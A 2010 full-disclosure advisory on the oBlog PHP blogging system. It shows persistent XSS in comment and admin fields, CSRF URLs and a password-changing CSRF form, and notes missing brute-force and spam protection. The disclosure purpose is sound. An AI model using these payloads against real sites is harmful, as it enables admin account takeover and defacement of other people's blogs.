dootzky oblog Persistant XSS, CSRF, Admin Bruteforce

2010-06-28 / 2010-06-29
Credit: null
Risk: Low
Local: No
Remote: Yes

[-------------------------------------------------------------------------------------------------] [ Application: oBlog ] [ Version: the only one there is :) ] [ Download: ] [ Author of this full disclosure: Milos Zivanovic ] [ Vulnerabilities: Persistant XSS, CSRF, Admin Bruteforce... ] [-------------------------------------------------------------------------------------------------] Author of the application is contacted and author of this paper is not responsible for anything you do after reading this text. [#] Content: |--Persistant XSS | | | |--Vulnerable function | |--XSS in article comments | |--XSS in add new article / Edit article, Naslov field (admin only) | |--XSS in add new group (category) / Edit group, Naslov field (admin only) | |--XSS in add link (blogroll) / Edit link, Ime prijatelja, Link fields (admin only) | |--XSS in settings (admin only) | |--NOTE! | |--Cross Site Request Forgery | | | |--Enable/Disable post | |--Enable/Disable category | |--Remove link | |--Logout admin | |--Change admin password | |--Change admin settings (name, lastname, PASSWORD, blog title, blog slogan, text about author) | |--Exploit | |--Admin Bruteforce | |--Blog Spaming with empty/junk comments | |--Conclusion [#] Full Disclosure: -[================================================================================================] -[+]Persistant XSS: -[================================================================================================] Function used in this application for filtering input against different types of attacks is not written good and does not escape html characters. Vulnerable code: /oBlog/php/functions.php line 66-94 (function protectInput) [code---------------------------------------------------------------------------------------------] // protect invalind input function protectInput($data, $type) { if ($type == 'int') { if ((!is_numeric($data)) || ($data < 0)) $data = -1; } elseif ($type == 'double') { if ((!is_numeric($data)) || ($data < 0)) $data = -1; } elseif ($type == 'doubleLOOSE') { if (!is_numeric($data)) $data = -1; // jer cu nekada hteti da dozvolim i negativni broj, npr: ODBICI = -50 eura } elseif ($type == 'str') { // minimum length if (strlen($data) == 0) $data = '--'; // add slashes if needed $data = (!get_magic_quotes_gpc()) ? addslashes ($data) : $data; } elseif ($type == 'date') { // otpakuj datum, i pripremi ga za ubacivanje u bazu (YYYY-MM-DD) $tmp = explode('.', $data); $data = $tmp[2] .'-'. $tmp[1] .'-'. $tmp[0]; } else { die('wrong data type?! functions.php -> protectInput();'); } return $data; } [code---------------------------------------------------------------------------------------------] As we can see there's no function that deals with escaping html characters thus enableing us to insert malicious javascript code. [-]XSS in article comments: http://localhost/oBlog/article.php?aid=[ARTICLE ID] When adding comment to blog post, we can insert javascript code into certain fields and it will not be filtered, and pure javascript code will show one the page. Vulnerable fields: Ime, Komentar /oBlog/article.php line 44-49 (function saveNewComment) [code---------------------------------------------------------------------------------------------] // get data $commentName = protectInput($_POST['commentName'], 'str'); $commentEmail = protectInput($_POST['commentEmail'], 'str'); $commentWeb = protectInput($_POST['commentWeb'], 'str'); $commentText = protectInput($_POST['commentText'], 'str'); [code---------------------------------------------------------------------------------------------] I've used this javascript just to test vulnerability: [POC----------------------------------------------------------------------------------------------] <script>alert(1)</script> [POC----------------------------------------------------------------------------------------------] [-]XSS in add new article / Edit article, Naslov field (admin only): Add: http://localhost/oBlog/admin/write.php?new=entry Edit: http://localhost/oBlog/admin/write.php?edit=[ARTICLE ID] When creating new post (or edit) in admin panel, person can inject malicious javascript code into field: Naslov and it will not be filtered, as it is using same protectInput function. /oBlog/admin/write.php line 136-138 (function saveChanges) [code---------------------------------------------------------------------------------------------] // get data $article_id = protectInput($_POST['article_id'], 'int'); $title = protectInput($_POST['title'], 'str'); [code---------------------------------------------------------------------------------------------] The title of the post is showed in main page of the blog, as in the main page of the admin panel so this could be used for hidden and more important dangerous permanent javascript.I've used this javascript just to test vulnerability: [POC----------------------------------------------------------------------------------------------] <script>alert(1)</script> [POC----------------------------------------------------------------------------------------------] [-]XSS in add new group (category) / Edit group, Naslov field (admin only): Add: http://localhost/oBlog/admin/groups.php?new=entry Edit: http://localhost/oBlog/admin/groups.php?edit=[ARTICLE ID] When creating new group or category(or editing), we can insert malicious javascript code into field: Ime Grupe and it will not be filtered, this script also uses protectInput function. /oBlog/admin/groups.php line 79-81 (function saveChanges) [code---------------------------------------------------------------------------------------------] // get data $category_id = protectInput($_POST['category_id'], 'int'); $category_name = protectInput($_POST['category_name'], 'str'); [code---------------------------------------------------------------------------------------------] Title of groups is showed in main page of the blog and in the Groups page in the admin panel. I've used this javascript just to test vulnerability: [POC----------------------------------------------------------------------------------------------] <script>alert(1)</script> [POC----------------------------------------------------------------------------------------------] [-]XSS in add link (blogroll) / Edit link, Ime prijatelja, Link fields (admin only): Add: http://localhost/oBlog/admin/blogroll.php?new=entry Edit: http://localhost/oBlog/admin/blogroll.php?edit=[BLOGROLL ID] When adding new link (or editing) we can insert malicious javascript code into fields: Ime Prijatelja and Link. Field Ime Prijatelja is showed in the main page of the blog and in the blogroll.php page of the admin panel, and field Link is exploitable only in admin panel (blogpoll.php). /oBlog/admin/blogroll.php line 67-69 (function saveChanges) [code---------------------------------------------------------------------------------------------] // get data $blogroll_id = protectInput($_POST['blogroll_id'], 'int'); $tile = protectInput($_POST['title'], 'str'); [code---------------------------------------------------------------------------------------------] I've used this javascript just to test vulnerability: [POC----------------------------------------------------------------------------------------------] <script>alert(1)</script> [POC----------------------------------------------------------------------------------------------] [-]XSS in settings (admin only): http://localhost/oBlog/admin/settings.php There we can edit fields Ime bloga and Moj slogan and put javascript which will be printed in every page of our blog (not admin panel) and that is certainly not good. /oBlog/admin/settings.php line 20-22 [code---------------------------------------------------------------------------------------------] // settings $data['blog_name'] = protectInput($_POST['blog_name'], 'str'); $data['tag_line'] = protectInput($_POST['tag_line'], 'str'); [code---------------------------------------------------------------------------------------------] I've used this javascript just to test vulnerability: [POC----------------------------------------------------------------------------------------------] <script>alert(1)</script> [POC----------------------------------------------------------------------------------------------] [-]NOTE! I didn't think about this at the begining of the search for the exploits mission, but i've just realised that all of the 'admin only' XSS's i found can be injected via CSRF method. -[================================================================================================] -[+]Cross Site Request Forgery: -[================================================================================================] Author of this blogging system is not introduced with csrf vulnerability, so there were no tokens or other security mesures used to secure this application against this type of attack. [-]Enable/Disable post: We can inject this link below into some <iframe> and with admin visiting the link it will disable showing of certain article (depending on article id) [POC---DISABLE------------------------------------------------------------------------------------] http://localhost/oBlog/admin/write.php?publish=[ARTICLE ID]&action=0 [POC----------------------------------------------------------------------------------------------] [POC---ENABLE-------------------------------------------------------------------------------------] http://localhost/oBlog/admin/write.php?publish=[ARTICLE ID]&action=1 [POC----------------------------------------------------------------------------------------------] [-]Enable/Disable category: Another disable csrf. With this by opening this one admin will secretly disable showing all posts from certain category (depending on category id) [POC----DISABLE-----------------------------------------------------------------------------------] http://localhost/oBlog/admin/groups.php?visible=[CATEGORY ID]&action=0 [POC----------------------------------------------------------------------------------------------] [POC----ENABLE------------------------------------------------------------------------------------] http://localhost/oBlog/admin/groups.php?visible=[CATEGORY ID]&action=1 [POC----------------------------------------------------------------------------------------------] [-]Remove link: With this csrf we can remove any or all links from the blogging system: [POC----------------------------------------------------------------------------------------------] http://localhost/oBlog/admin/blogroll.php?delete=[LINK ID] [POC----------------------------------------------------------------------------------------------] [-]Logout admin: With this csrf we can logout admin without his knowledge: [POC----------------------------------------------------------------------------------------------] http://localhost/oBlog/admin/write.php?logout=user [POC----------------------------------------------------------------------------------------------] [*]Change admin password: This is one of the most critical vulnerabilities i found in this application. Since there is no CSRF protection, we can change admin's password. Here's the sweet data we need to send via POST method for this to work: [INFO---------------------------------------------------------------------------------------------] submit = 1 // set it to any value, just set it :) password1 = "hacked" password2 = "hacked" [INFO---------------------------------------------------------------------------------------------] And send it to /oBlog/admin/settings.php script via POST method. That will change password for the admin with default username 'admin' (you can't change that in admin panel or anywhere else). [*]Change admin settings (name, lastname, PASSWORD, blog title, blog slogan, text about author) [EXPLOIT------------------------------------------------------------------------------------------] <form action="http://localhost/oBlog/admin/settings.php" method="POST"> <input type="text" name="name" value="exploit"> <input type="text" name="surname" value="for oBlog"> <input type="text" name="nice_name" value="exploit for oBlog"> <input type="text" name="blog_name" value="Exploited blog"> <input type="text" name="tag_line" value="Free your mind and the ass will follow"> <input type="password1" name="password1" value="hacked"> <input type="password2" name="password2" value="hacked"> <select name="posts_per_page"> <option label="15" value="15" selected="selected">15</option> </select> <select name="theme"> <option value="pedja" selected>pedja</option> </select> <textarea name="about">I have been hacked</textarea> <input type="submit" value="Snimi promene" name="submit" id="submitButton"> </form> <script>document.forms[0];</script> [EXPLOIT------------------------------------------------------------------------------------------] We can edit the fields and put the desired stuff in them. Since i've showed that some other parts of the oBlog blogging system are vulnerable to persistant xss, we could use this to insert hidden <iframe> with malicious content in the name of the blog. If you don't want to edit admin's password remove value="hacked" from 2 lines above you find this in. -[================================================================================================] -[+]Admin Bruteforce -[================================================================================================] On the admin panel login script /oBlog/admin/index.php there is no security mesure against bruteforce. A program could be made that would bruteforce the script and, depending on password complexity, sooner or later, find the login info. Captcha system would come in handy to fix this vulnerability. -[================================================================================================] -[+]Blog Spaming with empty/junk comments -[================================================================================================] When adding comments to posts there is no security mesure against bots (no captcha) and on top of that script doesn't test the input if it's empty, using function protectInput from functions.php that i posted in the begining of this text it only converts empty fields into '--'. So we can use one link to generate junk comments. [POC----------------------------------------------------------------------------------------------] http://localhost/oBlog/article.php?aid=[ARTICLE ID]&comment=new [POC----------------------------------------------------------------------------------------------] -[================================================================================================] -[+]Conclusion -[================================================================================================] oBlog web application is very small (less then 3 mb) and simple. Even tho it's small and simple it is full of security holes, and as we all know security is something that should come in first place and it should be our main goal to achive when coding web applications. [-------------------------------------------------------------------------------------------------] [ EOF ] [-------------------------------------------------------------------------------------------------] _________________________________________________________________ Windows Live: Friends get your Flickr, Yelp, and Digg updates when they e-mail you.


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